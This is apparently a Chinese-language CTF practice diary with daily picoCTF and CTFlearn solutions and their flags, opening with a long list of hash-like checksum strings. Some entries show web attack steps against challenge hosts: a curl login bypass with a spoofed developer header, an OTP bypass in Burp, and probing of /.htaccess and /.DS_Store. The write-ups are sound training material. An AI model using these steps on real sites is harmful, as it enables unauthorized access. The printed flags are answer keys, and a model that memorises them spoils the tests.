8pMqC98ddf91b40a5085c2836f69bb1b96a6df3402658c256beea530bc983bac5830f2ca DUx15XmG62083cbec204552c1d2c8c8c80d8078c49bc50c46e9ab267bb1ff47fc6eb56ce I7ySGmF39dfd2a780eeaf3303ae94e7b7d8ec2d787ac0f8fb381637545be0fa8aa8f6ffe NTsSRBdP04dd8f21134d6b29d037172e279f88315104326e7690e1170a9b546725f7b7bc RGc1b7Dz40a1d6c6a811809c86053fd74a3605f54fb7d0122c933b85d8d2454096f95ff3 WZcRSCOidda2048d594389b16999a6718a6553dde4a327ab9eb27bebf12bda8eb95668c9 aAv6C6d8f42d3abadec263c8f31c91007471357d318b16d74a01f8fe7d20c908fe17a4f1 dzxHhn9Sfc850738aa461ec041eaa58d5ac7f649413eea4784340d140a72b51e5b675889 jFn9chPx70f096e8b04163eff93f91c2b61d1e5cc10b4a3622b90f0ec9ef2eb0e81356dd oNQJCg545216c40b2c74beccdab7999a759968f869fd59b1930f280084215396796cc3b2 t1UlIMzc423f0435ca5567e776ae7e47ca2405861f460f8f3ec348ec12527ac6c7ba9535 wp0CW0xccf00202ce2298b01b3bca28c8412d4a0c65f0aa62b2676f495123bfbeaea4c03 2HLMOyNvcc6df4c1547d8fb811816b2ad327a9bb253e59d93c62aaeb98939017b6645870 5VDBcjMu32f8e050dfb066f8078f94faae3cc03ed87fa077ebb67cf775c750f178d6b73e 9E2Ci7r7b96228d54ad202fa43217b4c2954c8540591505ec3f126305bfc3e785bf45a27 Ds4StPpk88bc411202ab8c7d4ebc10fac9268101730c9124681673b9988586876bea651e IihMQr2S7cb005d4842b180bfa8c4daef705dff83c7138895425bab63d67a546e4dd1a9f NULNnaKdc914f8e7f55fe0dae00df7de2f563b94a35bca3d9681007a6bfd4aa5629b3841 RH4yp5nD79f5d012bffbb470bc99eaf9611eb5ce8c7bd16db0860ede7b13061c67bc1ee9 WjjIvWrX0a76cda0ad8b2f8708849ea745dc3ffd183f166045d71cb13b077863ed6424fc aCxWJytKadf13189231f1b754b55284fb88ba95ca6ce8b3c35243455f480b26775da5a3f ePMDz1YQ45afcd76457a40c97f9659a05cd13d0337b0889f42a0ae4070df28d9a1ac153b jGGKUWQ9a5850db06498c64254d80704ece0d78b2ff48c40654d87d2b51b5214fbff8aef oNq64S7j7a5937e19c0a1cc4700c75e4cf61bb9750192dfa3a21f87a5efd7144aa560622 t3cJ6Gfp9111a115589f859c5a6e40b4eb933b09413f03ef3b942826455704ede7929af1 x0ODxbKK884ddbd229e1d6c068a52593d16482d095d13382bde76ee0d2c48297dcd823cb 2SLddvKm309f7a2437d77f542d742b4c8433b9760ece3a28e0b06376df6367ddf93055bc 5aE4Zjfg6398aa8391d0428b8e79ad4e8a1405bb270ac470ebed89c8f265eb0451181307 9LgFu97Cfb5a9c8fd90a25c6ba235fe9a628b20d13ce83e4334d03aef3d8493f0b966a9d DxLqi3sVc67d10e1a117c9e19bf6ab0396f9f079440ab9da4472387705afd3dbe94c69b4 Ijh6n9yp668d9e5e57046173395fb63acdfaa81ff1bf3b95c28ca33e5c775a25ca639e7a NbwekSHV076208aac8a77aac84099cb194332245b28833d90572a194a34235546daec8b8 RHX0dhSU143885cf956a038b2431e6a26467cdd1edba02262e34dae76b4f6c8cb15c2841 WpLyF4xCc5d0c0c77f7f587dbe4ff6815e1a9118adcbe883eedd26d211fc2fb4a8490000 aR087rW1e8ef074570d9f9216d3b4307ad34a6318bfa7e09bdb99690a94e31c86e55842d eqMPkSW046d9aec14ab002ed547afd904c0ee870e89e80d0b75c5fde80a12975f86c3bae jQrw8bQO2c15b651913537f4216378ff7c4a1918801106afb9c5b21dc165935b3866bb0e oX1HkX8C87b3755499a7f9ec32b58f824497e0430b56caf1fc9a5277e040931d295bbe44 tYVdC1Z0c3c23fd9f25161a0035e5da701217a503c07c2e319d4ad142582b7f2282c2d35 x0THPKVQ95378cce58d7294397ea548531b741c930541ec263b1bd493b1a614d2bc5aca5 2y6eiPnY42973faba65fb71a21f0be92df8ce8e1a125d4cb63040ff6f3c2940a33c91391 5guDO1cSdfd1c4c8ebb2a7182215628189d6d9e2f94442851587c67449bbbb35e59a6fe2 9hbn5BeA403f37e76707172160f04ed6a9504577ae21a64566c6726513f34d50f822e691 DyULYdwsc353941de39d0f499f8209894b87271c686f9ed24777d6e9b8597e2fcecca2c7 Iqbw9pQz8e162fd2690eec9cf078f73e3d5b69dd5cadacc1445cda4200c58954ef50657d O5vpRSXk95637288a9ab3da1ce9b8cfa0d94113130fc3a9aa6b4ad98997f564bc1d86850 S7zBjDOu18ebedda8b2cb23c4654e46952279b1baa55044bcef4826605856c060d77ce89 WruPiHQS4fd79cb8de09d7442630f056b2f53c96eb69697979e5c1da0b634c5fc56e4ae2 b9BDTW0290df23c896109b9efe024c5db6a6e0d86baea53ac94c9b0dedbfbafa38b8249d eyrV73URa0733685ed7b4ac960c93b436bfe0ed8d7951bc4e7c36e88bce9e11c440ff88e jS1LPICH007a2a95c38ecbc60d4397ea23e78d80f66df0fdc1ab6da3bc40b946a220ec72 opYpNJ2C37519abebb056c68fd80d906dd14156640b71699b908c76bdabb711daf646230 tqcK3Nrsd412711f9b1b3a52603441c833d6624e27f51a9b80e6cfc6379ab257dfb9a08d xPX9SADxc422793ffec6bb8b5602ec5a7ae05abd8761fd9479903ab863379607920ed104 2ypuxhr6507bd8c2cf6263f43e12316ba1540541f4457a061c667397a24ab47447e6851e 5oxXh5Ere0d7b24c4d84891c1fc8f3968911e5932e80b55d709b221d480bd176ac7fbd98 9twFwHiq4e6d2443841f31671acbb9e5b7c35a0c02a5075b9b325d79179b7e2b6b79c2e3 EI5Rua6ha4728e5d090507ee411759bbcf3073d7a305be0a4d856d1c07428b48bba06a9f JHLXVG98454a72f9354c59571244685ba6835d3f752b58f7cc4372278107e88b39225da9 O8mpr58x6cec547c3b92dd27fb74c0c27bd61e2c170923cf0c01a41a5cee8c473a11db62 SOpZbONn52c9b94fc51de375d02bba6897354a7e97bd7573cb2e022067ce807ee42d214c XKypMMiJba7daabeff21c6465e8214b039ed49821bd8b4bf28aee5f107a98f0ddec7174c bJ8uPssGf23046a5e9f1964a9bb81d017bad80b827aab48527c3e7c7a0ad1bb3b6994177 fANUtdtec3aa5b21307d698126130bcef215ac9829a506ab7f9b1361da1e8c245eb005c4 jg2ztGlp289248d1bb64efec318ef40fb10633a65c10af562bd2d25c84220051a15af050 p0yUpsYece222b6b65e012e7a0209bc9951690597779b042d556a6f2015b1c21b9901a09 uF2fheP1dd7df9683d05b5eed8c280eedbafd2c2fa01868c649eb94cc79d753e0e254499 xa0pHpo3585f5acca06e7c1d47cc3871654206fa70adeecc39cd8c584f77d52f8a4d3419 34asQJAjddcfd164213fa595f38b103d0436c39ce383bad8303e0609d5d328356c7cde7a 5uH65mOXfb47580434abe1c8177cd757f32d08d74c3445776c8f487db0a987828026b92c AHwWjpbL4c29d7fe7d4c1498418c49bb9c20df5eae2b6067f65b2eebf7ffea74eb81572b EtkxnTjE74d7f30eb65b30657c517e1b4d70cf6e4d47103c9da773aa539bda1ea712a956 JKlfmBiLa8a95903fa5337abcac799769cee16ec354661351f89f7ad9b1dbb81a49dd032 OFSlnCKK2880efaf431ff729cf2b7f8cc3d3e8934893dd336996081eea36a2260d424cc6 SXfbixMa750b63262b65068258396891e77f7afa851394bde7a9c8c3098cbf8ae1ddb5e5 XZocCx0277fd76cc340322ae8a41d8f87d5951b0c60949bf7a1d51d901e90f27e5141b83 bJquvh3E5c9d5df75a524bdb064fc6c49d7d9abde624b1994dfc896a3a54e4d9e8ab1076 fFbQAlD770086a1d65272fcd55e417986c4684f9f86943de88ad93f5b7c6d69ca825a500 jpTG7wledcc077e5d75839805b8cf90bcd85e0213e2a418d551f2229a99c75365397b32c p8McbjLN6b22bc5d41ab8d43ee09c94756001d16aef5f9b04e51108543e35b80c79b1690 uFoxxMADb2446a99ef12511def4327e9504d527cc7de79dc4eb84bab5b6397a5e8c10513 y2TwAQslbbce48808c1a06ba47e9434e289b3b3e7e7cc8219d6853417c4bf135b42458d1 3FS3M7trcc3c691e0a2a275d32a8053c12224af4e3fb999db15a72f1cc5325098a07deb8 6GarVCiO5e44db07e934c2dd969458e30315968206b045c1fdc3547d34b35263f229bbb3 ANd9SGuSa0284a0b9ded5bccbf028caaf2fe3dde70cb48592235b7ded9abd95f11e3a48a EwczAgxU5e283b6d019cccf1dce1e6e2e7019d02337f8835f430dfa8b7c48905f32af0cc JPzzPv2Rd69c85eab19d904cd5b87221c1ba1603a5ea3e17fbc76cb1b7e6ad31b7c438fe OHWOluJjeb5d4024a654c9118dec859745745a864f544737dc359535b69928b35c6555ac SibjLvWM2a5f932d98aac9a4ed47b34c52225286b793e5aaf4d722448e4bcdae5d07fe72 Xkrt40pJ2fd9ca2343a1cb251e1cf91a173be3b49ed959f4f29a84b9afe9bf8726c9a4c0 bOxuzUXff73af464819c557059ab54ff29f6829dd8192668135cb7a669ce151d64cc60b5 fG3pxqYw55813904319e7c9140ff0a35e5dbf99ea63b4613a95c02adf1108bef200a25e8 k1uy8MT243b0bb9e34a853f07dc21a7a3ffb954c249acbe7ea5649bd773ef2c7b9051e7d pGy7EVYy4eaf000af731b44485e16646f9ae132778d1bc99997a6104fddf44af765d6bf1 uHK0HPxg00ae7e498b319b92bc56ae2562fa2c8535062260c77c3cf66f9fa0d6ae3c662e yCXEcn1e用notepad/vscode/任何文本編輯器 按下ctrl+f查詢題目所給的校驗碼
會是87590c24這個檔案
cd ..回到上層資料夾
然後執行 ./decrypt.sh files/87590c24

picoCTF{trust_but_verify_87590c24}
Day 14 2025/12/23-picoCTF strings it
首先打開strings
ctrl+f搜尋picoCTF

picoCTF{5tRIng5_1T_FB7D7Bb6}
Day 15 2025/12/24-picoCTF fixme2.py
fixme2.py:
import random
def str_xor(secret, key): #extend key to secret length new_key = key i = 0 while len(new_key) < len(secret): new_key = new_key + key[i] i = (i + 1) % len(key) return "".join([chr(ord(secret_c) ^ ord(new_key_c)) for (secret_c,new_key_c) in zip(secret,new_key)])
flag_enc = chr(0x15) + chr(0x07) + chr(0x08) + chr(0x06) + chr(0x27) + chr(0x21) + chr(0x23) + chr(0x15) + chr(0x58) + chr(0x18) + chr(0x11) + chr(0x41) + chr(0x09) + chr(0x5f) + chr(0x1f) + chr(0x10) + chr(0x3b) + chr(0x1b) + chr(0x55) + chr(0x1a) + chr(0x34) + chr(0x5d) + chr(0x51) + chr(0x40) + chr(0x54) + chr(0x09) + chr(0x05) + chr(0x04) + chr(0x57) + chr(0x1b) + chr(0x11) + chr(0x31) + chr(0x0e) + chr(0x51) + chr(0x5c) + chr(0x44) + chr(0x51) + chr(0x0a) + chr(0x5b) + chr(0x5a) + chr(0x19)
flag = str_xor(flag_enc, 'enkidu')
# Check that flag is not emptyif flag = "": print('String XOR encountered a problem, quitting.')else: print('That is correct! Here\'s your flag: ' + flag)打開之後vscode就先報了錯
運行之後的報錯提示
結果是少一個=所造成的問題
我們把它加上
耶

picoCTF{3qu4l1ty_n0t_4551gnm3nt_e8814d03}
啊?為什麼
在程式語言裡,=是用來指定給變數一個值的 像是
a=100而這個程式碼是要判斷flag是不是"" 而判斷會使用==
if flag == "":所以把原本是指定意義的=再加上去一個就可以正常判斷了! 基本上所有程式都是這樣判斷的
Day 16 2025/12/25-picoCTF Unminify
btw聖誕節快樂
網站打開來長這樣
右鍵-檢視網頁原始碼
然後CTRL+F搜尋picoCTF
會在第十五項看到Flag

picoCTF{pr3tty_c0d3_622b2c88}
Day 17 2025/12/26-picoCTF First Find
files.zip:
直接搜尋uber-secret.txt

picoCTF{f1nd_15_f457_ab443fd1}
這麼簡單還要出??
Day 18 2025/12/27-picoCTF Includes
會到這個網頁
右鍵-檢查-原始碼
script.js和style.css就能發現flag的頭和尾
並起來
picoCTF{1nclu51v17y_1of2_f7w_2of2_b8f4b022}
Day 19 2025/12/28-picoCTF HashingJobApp
先連線到他給的伺服器nc xxx.picoctf.net (port)
然後使用站長工具來加密
結果要看32位[小]
然後像我一樣把所有的題目加密完
就會有flag了

picoCTF{4ppl1c4710n_r3c31v3d_bf2ceb02}
Day 20 2025/12/29-picoCTF Collaborative Development
先給電腦裝一下git
讓git添加到系統pach
一路next
然後等它裝完後在檔案的下面跑cmd
git branch -a
然後使用 git diff feature/part-1..feature/part-2 && git diff feature/part-2..feature/part-3
這裡參考了這篇文章

picoCTF{t3@mw0rk_m@k3s_th3_dr3@m_w0rk_7ae8dd33}
文章要換地方了 hackmd->zackzheng’s blog
Day 21 2025/12/30-picoCTF PW Crack 1
picoCTF{545h_r1ng1ng_1b2fd683}Day 21 2025/12/30-picoCTF WebDecode
這絕對是base64
picoCTF{web_succ3ssfully_d3c0ded_10f9376f}Day 22 2025/12/31-picoCTF Crack the Gate 1
右鍵檢查發現了怪東西
問ai他說這是ROT13
後來看了這篇筆記
先使用 curl -H "X-Dev-Access: yes" http://amiable-citadel.picoctf.net:54937/ 找標頭
然後使用
curl -s -X POST \ -H "X-Dev-Access: yes" \ -H "Content-Type: application/json" \ -d '{"email":"ctf-player@picoctf.org","password":"whatever"}' \ "http://amiable-citadel.picoctf.net:53947/login"
picoCTF{brut4_f0rc4_7e5db33b}2026新年快樂!
Day 23 2026/1/1-picoCTF Flags
flag.png:
這是用國際信號旗加密的
資料來源:國際信號旗-維基百科
這是我解出來的結果:
picoCTF{F1AG5AND5TUFF}Day 24 2026/1/2-picoCTF Cookie Monster Secret Recipe
先輸入帳號密碼
進到這個畫面右鍵檢查
應用程式-coookie 點開下面所顯示的 http...
把顯示已編碼的網址打開
base64,轉換下
picoCTF{c00k1e_m0nster_l0ves_c00kies_2C8040EF}Day 25 2026/1/3-picoCTF IntroToBurp
參考picoCTF Web Exploitation: IntroToBurp 所解的
找到post包
點開 把opt刪掉
然後點左上角第二顆橘色的按鈕
picoCTF{#0TP_Bypvss_SuCc3$S_b3fa4f1a}Day26 2026/1/4-picoCTF ASCII Numbers
使用對照表 來轉換
或像我一樣給ai解
picoCTF{45c11_n0_qu35710n5_1ll_t311_y3_n0_l135_445d4180}Day 27 2026/1/5-picoCTF Bookmarklet
直接把程式碼複製起來到 線上編譯器 上跑
點Run
picoCTF{p@g3_turn3r_0c0d211f}Day 28 2026/1/6-picoCTF Local Authority
這題我一開始看了picoCTF Web Exploitation: Local Authority picoCTF-Kamal S 的write up,後來發現沒有他提到的secure.js,於是google找到了JoeYang-picoCTF 2024 Write up ,在參考下成功解決了問題
首先先登錄進去
當顯示 Log In Failed 時,右鍵檢查
把這個hidden先去掉
出現了一個textbox(抱歉C#後遺症)
然後再看看檢查,有一個type="text/javascript",展開來看看
往下滑發現這個東西:2196812e91c29df34f5e217cfd639881
直覺(和別人的wirteup)告訴我這不單純,要貼到文字框
picoCTF{j5_15_7r4n5p4r3n7_b0c2c9cb}菜菜 撈撈 嗚嗚
Day 29 2026/1/7-picoCTF Scavenger Hunt
首先在網頁右鍵-檢視網頁原始碼
就能找到flag的頭:picoCTF{t
然後我們看一下網頁的what
右鍵-檢查-原始碼把網頁(一朵雲)點開應該會看到這些檔案
點開myjs.js會看到這個:/* How can I keep Google from indexing my website? */
然後點開mycss.css:
應該會出現第二個flag的部分:/* CSS makes the page look nice, and yes, it also has part of the flag. Here's part 2: h4ts_4_l0 */
第三個呢?記得myjs.js的/* How can I keep Google from indexing my website? */嗎?
我試圖用我在Google for Developers-更新 robots.txt 檔案的下載 robots.txt 檔案中運行cur的指令:
curl https://example.com/robots.txt -o robots.txt結果呢…
User-agent: *Disallow: /index.html# Part 3: t_0f_pl4c# I think this is an apache server... can you Access the next flag?NOTE其實我一開始打錯了…打成
...\robot.txt,難怪404
耶可以組成flag了…嗎?
picoCTF{th4ts_4_l0t_0f_pl4c我們還差尾端沒有出來
等等…apache?Access?
算了看看別人最後怎麼解
我看了Koro的Scavenger Hunt: picoCTF
來試試看
第一個把curl後面的/改成 /.htaccess
┌──(zackzheng㉿zackzheng-98)-[~]└─$ curl http://wily-courier.picoctf.net:58558/.htaccess# Part 4: 3s_2_lO0k# I love making websites on my Mac, I can Store a lot of information there.picoCTF{th4ts_4_l0t_0f_pl4c3s_2_lO0k試試看第二個:/.DS_Store:
┌──(zackzheng㉿zackzheng-98)-[~]└─$ curl http://wily-courier.picoctf.net:58558/.DS_StoreCongrats! You've completed the scavenger hunt! Part 5: _9588550}那完整的flag就是:
picoCTF{th4ts_4_l0t_0f_pl4c3s_2_lO0k_9588550}耶
Day 30 2026/1/8-picoCTF where are the robots
根據昨天的經驗,我們要找的是robots.txt,但這次我選擇直接加在網頁後面
然後會顯示:
下面出現了一個html檔案,我們連過去試試看
picoCTF{ca1cu1at1ng_Mach1n3s_cc6b1}Day 31 2026/1/9-picoCTF Wave a flag
來個炸魚題
先使用linux wget https://challenge-files.picoctf.net/c_wily_courier/89a0e56b3f2697fe5d597b2805202b86693dcb0e04aec062e11fe66edbbd04aa/warm
然後設定權限(不然沒辦法執行)
chmod +x warm
接下來執行腳本:./warm
然後./warm -h
picoCTF{b1scu1ts_4nd_gr4vy_ac5832c}話說有沒有其他的CTF練習平台阿,不太想一直做picoCTF
Day 32 2026/1/10-CTFLEARN Morse Code
這很簡單,直接找個轉換器 我用的是Morse code converter 摩斯密碼翻譯器
出現的就是flag了(沒意思)
FLAGSAMUELMORSEISCOOLBYTHEWAYILIKECHEESDay 33 2026/1/11-CTFLEARN Base 2 2 the 6
其實 Q1RGe0ZsYWdneVdhZ2d5UmFnZ3l9 這段編碼是base64…我想說哪來的base2和base6
使用base64decode.org 來解碼
CTF{FlaggyWaggyRaggy}Day 34 2026/1/12-CTFLEARN Vigenere Cipher
直接使用dcode
nowing the Key/Password:blorpy
然後點Decrypt
flag{CiphersAreAwesome}
